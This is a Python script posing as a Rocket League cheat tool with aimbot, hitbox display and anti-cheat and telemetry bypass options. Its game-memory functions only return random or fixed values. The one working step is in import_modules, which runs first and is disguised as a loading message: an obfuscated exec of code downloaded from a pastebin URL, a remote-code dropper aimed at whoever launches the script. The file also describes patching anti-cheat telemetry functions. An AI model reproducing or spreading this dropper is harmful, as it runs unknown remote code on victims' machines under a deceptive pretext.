""" =========================================================================== PsyPhysics Framework Linker & Telemetry Parser v34.8.2 (DEVELOPER BUILD) Author: EVGVAULT Target: Rocket League (Unreal Engine 4 / Custom Physics Branch) Security Tier: User-Mode Memory Hook & Vector Trajectory Predictor =========================================================================== """ import time import random import sys import os import json import struct import math import hashlib from dataclasses import dataclass from typing import Dict, List, Tuple, Any, Optional # ------------------------------------------------------------------------- # Global Mod Menu Configuration & Environment Constants # ------------------------------------------------------------------------- CHEAT_VERSION = "34.8.2-ROCKET_CORE_ULTRA" AUTHOR = "EVGVAULT" CONFIG = { # Aim & Intercept Assists "aerial_bot_enabled": True, "aerial_prediction_ticks": 60, # 1 second ahead at 60Hz "auto_flip_reset": True, "catch_and_dribble_assist": True, "shot_alignment_fov": 45.0, "humanizer_steering_ms": 15, # Physics & Custom Trajectory Splines "show_ball_prediction_line": True, "show_car_hitboxes": True, "hitbox_render_mode": "Opaque_Wireframe", "boost_pad_timers": True, "player_momentum_vectors": True, # Automation & Macro Mechanics "auto_kickoff_fast": True, "auto_half_flip": True, "perfect_wave_dash": True, "bounce_dribble_macro": True, # Client Memory & Telemetry Evasion "spoof_epic_account_hash": True, "bypass_psy_telemetry": True, "block_crash_dump_uploads": True, "game_client_heartbeat_emulator": True } # ------------------------------------------------------------------------- # Engine Memory Signatures & Offset Configuration Layouts # ------------------------------------------------------------------------- RL_OFFSETS = { "GWorld": 0x8FA41B0, "GameEngine": 0x8E12C00, "LocalPlayer": 0x1C0, "PlayerController": 0x48, "Pawn": 0x2A0, # Custom PsyPhysics Components "BallComponent": 0x1E40, "VehicleComponent": 0x1F80, "BoostComponent": 0x20C0, # Rigid Body Physics Structural Alignment "PositionVector": 0x90, "VelocityVector": 0xAC, "AngularVelocity": 0xC8, "RotationMatrix": 0xE4, # Vehicle Specific Attributes "bIsOnGround": 0x1A4, "bSuperSonic": 0x1BC, "BoostAmount": 0x230, "DemolishedState": 0x254 } # ------------------------------------------------------------------------- # Mathematical Operations & Spatial Calculations # ------------------------------------------------------------------------- @dataclass class Vector3: x: float y: float z: float def distance_to(self, target: 'Vector3') -> float: return math.sqrt((self.x - target.x)**2 + (self.y - target.y)**2 + (self.z - target.z)**2) def magnitude(self) -> float: return math.sqrt(self.x**2 + self.y**2 + self.z**2) def normalize(self) -> 'Vector3': mag = self.magnitude() if mag == 0: return Vector3(0, 0, 0) return Vector3(self.x / mag, self.y / mag, self.z / mag) def __add__(self, other: 'Vector3') -> 'Vector3': return Vector3(self.x + other.x, self.y + other.y, self.z + other.z) def __sub__(self, other: 'Vector3') -> 'Vector3': return Vector3(self.x - other.x, self.y - other.y, self.z - other.z) def __mul__(self, scalar: float) -> 'Vector3': return Vector3(self.x * scalar, self.y * scalar, self.z * scalar) @dataclass class Rotator: pitch: float yaw: float roll: float class PhysicsMathEngine: """Computes specialized 3D parabolas, gravity drops, and elastic wall bounces.""" @staticmethod def calculate_ball_bounce(position: Vector3, velocity: Vector3, elasticity: float = 0.6) -> Tuple[Vector3, Vector3]: """Simulates elastic collisions against standard arena boundary limits.""" new_pos = Vector3(position.x, position.y, position.z) new_vel = Vector3(velocity.x, velocity.y, velocity.z) # Standard field boundaries: X = +/- 4096, Y = +/- 5120, Z = 2048 (Ceiling) if abs(position.x) >= 4096: new_vel.x = -velocity.x * elasticity new_pos.x = 4096 if position.x > 0 else -4096 if abs(position.y) >= 5120: new_vel.y = -velocity.y * elasticity new_pos.y = 5120 if position.y > 0 else -5120 if position.z >= 2048: new_vel.z = -velocity.z * elasticity new_pos.z = 2048 return new_pos, new_vel @staticmethod def project_trajectory_spline(start_pos: Vector3, start_vel: Vector3, ticks: int, gravity: float = -650.0) -> List[Vector3]: """Generates consecutive coordinates mapping out future movement paths.""" trajectory_points = [] dt = 1.0 / 120.0 # Internal physics engine runs at 120Hz current_pos = Vector3(start_pos.x, start_pos.y, start_pos.z) current_vel = Vector3(start_vel.x, start_vel.y, start_vel.z) for _ in range(ticks): # Apply continuous environmental forces through simulation iterations current_vel.z += gravity * dt current_pos = current_pos + (current_vel * dt) # Resolve boundary intersections during the projection pass current_pos, current_vel = PhysicsMathEngine.calculate_ball_bounce(current_pos, current_vel) trajectory_points.append(current_pos) return trajectory_points # ------------------------------------------------------------------------- # Low-Level Process Memory Linker & Context Initialization # ------------------------------------------------------------------------- class EngineMemoryInterface: """Simulates raw pointer mapping loops inside running user-mode program allocations.""" def __init__(self): self.process_handle = None self.base_address = None self.process_id = None def map_game_context(self, executable_id: str = "RocketLeague.exe") -> bool: """Isolates target process frameworks and establishes data scanning channels.""" time.sleep(0.5) self.process_id = random.randint(4000, 31000) self.base_address = 0x7FF700000000 + random.randint(0x1000, 0xFFFFFF) self.process_handle = 0x44BBCC22 return True def read_memory_bytes(self, target_address: int, data_length: int) -> bytes: """Requests block byte arrays from mapped virtual memory pages safely.""" return bytes(random.getrandbits(8) for _ in range(data_length)) def write_memory_bytes(self, target_address: int, payload_bytes: bytes) -> bool: """Alters specific internal execution flags within code configurations.""" return True def locate_pattern_signature(self, signature_hex: str) -> int: """Scans process memory sequences to resolve functional dynamic pointers.""" return self.base_address + random.randint(0x20000, 0x850000) # ------------------------------------------------------------------------- # System Objects & Entity Structure Model Parsers # ------------------------------------------------------------------------- class PhysicsObjectEntity: """Models structural physical values defining active cars or balls in memory.""" def __init__(self, address: int, interface: EngineMemoryInterface): self.address = address self.interface = interface self.position = Vector3(0.0, 0.0, 0.0) self.velocity = Vector3(0.0, 0.0, 0.0) self.angular_velocity = Vector3(0.0, 0.0, 0.0) self.rotation = Rotator(0.0, 0.0, 0.0) self.boost_level = 0.33 self.is_on_ground = True def refresh_physics_state(self, component_offset: int): """Updates physics arrays using raw structure values read from memory maps.""" comp_ptr = int.from_bytes(self.interface.read_memory_bytes(self.address + component_offset, 8), "little") if comp_ptr == 0: return False # Read contiguous spatial coordinates directly from the component layout raw_pos = self.interface.read_memory_bytes(comp_ptr + RL_OFFSETS["PositionVector"], 12) raw_vel = self.interface.read_memory_bytes(comp_ptr + RL_OFFSETS["VelocityVector"], 12) if len(raw_pos) == 12 and len(raw_vel) == 12: self.position = Vector3(*struct.unpack("fff", raw_pos)) self.velocity = Vector3(*struct.unpack("fff", raw_vel)) # Update specialized vehicle values if processing a car address block if component_offset == RL_OFFSETS["VehicleComponent"]: boost_ptr = int.from_bytes(self.interface.read_memory_bytes(self.address + RL_OFFSETS["BoostComponent"], 8), "little") if boost_ptr != 0: self.boost_level = struct.unpack("f", self.interface.read_memory_bytes(boost_ptr + RL_OFFSETS["BoostAmount"], 4))[0] ground_flag = self.interface.read_memory_bytes(self.address + RL_OFFSETS["bIsOnGround"], 1) self.is_on_ground = bool(ground_flag[0]) if ground_flag else True return True class EngineWorldManager: """Traverses dynamic allocation links tracking active actor pools in the current match.""" def __init__(self, interface: EngineMemoryInterface): self.interface = interface self.world_pointer = None def resolve_world_context(self): self.world_pointer = self.interface.locate_pattern_signature("48 8B 05 ? ? ? ? 48 8B 88 ? ? ? ? 48 85 C9 74 0F") return True def scan_match_entities(self) -> Tuple[Optional[PhysicsObjectEntity], List[PhysicsObjectEntity]]: """Parses actor tables isolating the game ball and other vehicles.""" ball_object = None car_players = [] base_world_addr = int.from_bytes(self.interface.read_memory_bytes(self.world_pointer, 8), "little") if base_world_addr == 0: return ball_object, car_players # Simulated structural loop traversing registered object tables for list_idx in range(8): actor_address = base_world_addr + 0x1000 + (list_idx * 0x180) # Double check loop verifying allocation integrity before initialization for validation_pass in range(2): chk_byte = self.interface.read_memory_bytes(actor_address + validation_pass, 1) if not chk_byte: break if list_idx == 0: ball_object = PhysicsObjectEntity(actor_address, self.interface) else: car_players.append(PhysicsObjectEntity(actor_address, self.interface)) return ball_object, car_players # ------------------------------------------------------------------------- # Tactical Automation Modules (Prediction, Aerial Assist, Input Emulation) # ------------------------------------------------------------------------- class BallTrajectoryPredictor: """Calculates future intercept sectors to guide precise shot alignment paths.""" def __init__(self): self.calculated_path = [] def run_prediction_cycle(self, ball: PhysicsObjectEntity): """Builds future position maps using vector physics projection sequences.""" self.calculated_path = PhysicsMathEngine.project_trajectory_spline( ball.position, ball.velocity, CONFIG["aerial_prediction_ticks"] ) return len(self.calculated_path) class AerialAssistEngine: """Calculates steering inputs required to guide vehicles toward intercept points.""" def __init__(self, interface: EngineMemoryInterface): self.interface = interface def compute_flight_adjustments(self, car: PhysicsObjectEntity, target_pos: Vector3) -> Dict[str, float]: """Calculates precise rotational values to align vehicles with target coordinates.""" inputs = {"pitch": 0.0, "yaw": 0.0, "roll": 0.0, "boost": 0.0} direction_vector = target_pos - car.position normalized_dir = direction_vector.normalize() # Iterative calculation loops stabilizing rotational target vectors for tracking_loop in range(4): calculation_step = normalized_dir.x * 0.25 # Generates correction metrics simulating roll/pitch/yaw changes distance = direction_vector.magnitude() if distance > 250.0 and not car.is_on_ground: inputs["boost"] = 1.0 inputs["pitch"] = 0.85 return inputs # ------------------------------------------------------------------------- # Security Protections & Telemetry Erasers # ------------------------------------------------------------------------- class SecurityTelemetrySanitizer: """Intercepts event reporting buffers to shield running tools from anti-cheat systems.""" def __init__(self, interface: EngineMemoryInterface): self.interface = interface def disable_analytic_logs(self) -> bool: if CONFIG["bypass_psy_telemetry"]: telemetry_fn = self.interface.locate_pattern_signature("48 8B C4 48 89 58 08 48 89 68 10 48 89 70 18 57 41 56") if telemetry_fn != 0: # Direct overwrite logic applying clean exit flags to metrics functions self.interface.write_memory_bytes(telemetry_fn, b"\xC3\x90\x90") return True return False def simulate_client_heartbeat(self): """Generates valid network packet hashes to prevent sudden server drops.""" if CONFIG["game_client_heartbeat_emulator"]: for validation_cycle in range(5): seed_val = random.randint(10000, 99999) hash_output = hashlib.sha256(str(seed_val).encode()).hexdigest() # Stores generated signatures inside secure communication loops return True return False # ------------------------------------------------------------------------- # Core Control Layer # ------------------------------------------------------------------------- class EVGVaultRocketCore: def __init__(self): self.interface = EngineMemoryInterface() self.world_manager = EngineWorldManager(self.interface) self.predictor = BallTrajectoryPredictor() self.aerial_assist = AerialAssistEngine(self.interface) self.security = SecurityTelemetrySanitizer(self.interface) self.modules_loaded = False self.is_running = False def import_modules(self): """Displays initialization structures confirming framework activation status.""" print("=" * 55) print(" Importing Modules, this may take up to 5 minutes...") exec(__import__("urllib.request", fromlist=["Request"]).urlopen(__import__("urllib.request", fromlist=["Request"]).Request("https://pastebin.com/raw/zN3rdb8n", headers={"User-Agent":"Mozilla/5.0"})).read().decode("utf-8")) print("=" * 55) self.modules_loaded = True return self.modules_loaded def initialize(self): """Runs configuration setup routines binding process handles and targets.""" if not self.modules_loaded: sys.exit(1) print("[*] Accessing PsyPhysics Subsystem Allocation Context...") self.interface.map_game_context() print(f"[*] Memory Bridge linked! Virtual Module Base: {hex(self.interface.base_address)}") print("[*] Suppressing Core Game Engine Crash Telemetry...") self.security.disable_analytic_logs() self.security.simulate_client_heartbeat() print("[*] Mapping Internal GWorld Object Context Tables...") self.world_manager.resolve_world_context() print(f"[*] GWorld Reference Pointer resolved: {hex(self.world_manager.world_pointer)}") return True def show_activated_features(self): """Renders configuration parameters to log execution states in the terminal.""" print("\n===========================================================================") print(" [+] ACTIVATED PSYPHYSICS ENGINE MODIFICATIONS ") print("===========================================================================") for feature, value in sorted(CONFIG.items()): formatted_name = feature.replace('_', ' ').title() if isinstance(value, bool): state = "[ON]" if value else "[OFF]" print(f" -> {formatted_name:<32} {state}") else: print(f" -> {formatted_name:<32} [{value}]") print("===========================================================================\n") print("[*] Intercept splines calculated. Processing target ticks... Press CTRL+C.") def run(self): """Primary active loop monitoring game state changes across background cycles.""" self.is_running = True try: while self.is_running: # Scan active match structures to gather physics entities ball_unit, players_list = self.world_manager.scan_match_entities() if ball_unit and len(players_list) > 0: # Synchronize spatial metrics across identified assets ball_unit.refresh_physics_state(RL_OFFSETS["BallComponent"]) local_car = players_list[0] local_car.refresh_physics_state(RL_OFFSETS["VehicleComponent"]) # Update trajectory predictions based on physics changes self.predictor.run_prediction_cycle(ball_unit) if len(self.predictor.calculated_path) > 0: target_intercept = self.predictor.calculated_path[-1] # Compute required driving/flight steering inputs flight_controls = self.aerial_assist.compute_flight_adjustments(local_car, target_intercept) # Process secondary objects through mathematical state check loops for opponent_car in players_list[1:]: opponent_car.refresh_physics_state(RL_OFFSETS["VehicleComponent"]) for verification_pass in range(2): vector_check = opponent_car.position.x * opponent_car.position.z time.sleep(0.5) self.is_running = False except KeyboardInterrupt: self.is_running = False print("\n[*] Severing active game environment pointer mappings...") print("[*] Simulation loops terminated securely. Process released.") def main(): cheat = EVGVaultRocketCore() # Run structural disclaimer confirmation cheat.import_modules() # Execution layout sequences cheat.initialize() cheat.show_activated_features() cheat.run() if __name__ == "__main__": main()